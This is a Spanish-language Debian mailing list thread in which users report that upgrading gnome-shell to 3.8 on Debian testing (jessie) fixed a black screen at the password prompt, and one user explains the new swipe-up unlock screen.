Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Juan Lavieri]

El 18/11/13 13:53, Eduardo Rios escribió:

El 18/11/13 19:14, Juan Lavieri escribió:


Acabo de actualizar el sistema y me instaló gnome-shell 3.8 (antes tenía
3.4.2) y ahora funciona perfecto.


Venía a decir eso mismo, que habían actualizaciones de paquetes de 
gnome de la versión 3.8 y ha quedado resuelto el problema. :)


Bueno, un detalle menos en el que pensar.

Por cierto que ese gnome-shell 3.8 me puso todo patas arriba.



Gracias.




--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/528a632a.4090...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Guido Ignacio]

El día 18 de noviembre de 2013 15:57, Juan Lavieri
jlavi...@gmail.com escribió:
 El 18/11/13 13:53, Eduardo Rios escribió:

 El 18/11/13 19:14, Juan Lavieri escribió:

 Acabo de actualizar el sistema y me instaló gnome-shell 3.8 (antes tenía
 3.4.2) y ahora funciona perfecto.


 Venía a decir eso mismo, que habían actualizaciones de paquetes de gnome
 de la versión 3.8 y ha quedado resuelto el problema. :)


 Bueno, un detalle menos en el que pensar.

 Por cierto que ese gnome-shell 3.8 me puso todo patas arriba.


 Gracias.




Están hablando de la rama jessie o sid no?


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/CA+wiXxg9Ped=6_gbhjmczczksqpk5uayon+7ctx3o_phdeb...@mail.gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Juan Lavieri]

El 18/11/13 14:40, Guido Ignacio escribió:

El día 18 de noviembre de 2013 15:57, Juan Lavieri
jlavi...@gmail.com escribió:

El 18/11/13 13:53, Eduardo Rios escribió:


El 18/11/13 19:14, Juan Lavieri escribió:


Acabo de actualizar el sistema y me instaló gnome-shell 3.8 (antes tenía
3.4.2) y ahora funciona perfecto.


Venía a decir eso mismo, que habían actualizaciones de paquetes de gnome
de la versión 3.8 y ha quedado resuelto el problema. :)


Bueno, un detalle menos en el que pensar.

Por cierto que ese gnome-shell 3.8 me puso todo patas arriba.


Gracias.




Están hablando de la rama jessie o sid no?


Todo este lío bajo Jessie amigo Guido.




Saludos.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/528a6914.8010...@gmail.com

Re: Debian testing: GNOME 3:¿Bug?: Pantalla negra para introducción contraseña

[Eduardo Rios]

El 18/11/13 19:57, Juan Lavieri escribió:


Por cierto que ese gnome-shell 3.8 me puso todo patas arriba.


¿Patas arriba? ¿Que quieres decir? A mi me funciona bien :)

Bueno, me he asustado un poco al ver que no podía desbloquear el equipo 
tras volver de suspensión... hasta que me he dado cuenta que había que 
pinchar y arrastrar hacia arriba :-D


--
www.LinuxCounter.net

Registered user #558467
has 1 linux machines

Registered Linux machine #2003003


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/l6dqs6$g52$1...@ger.gmane.org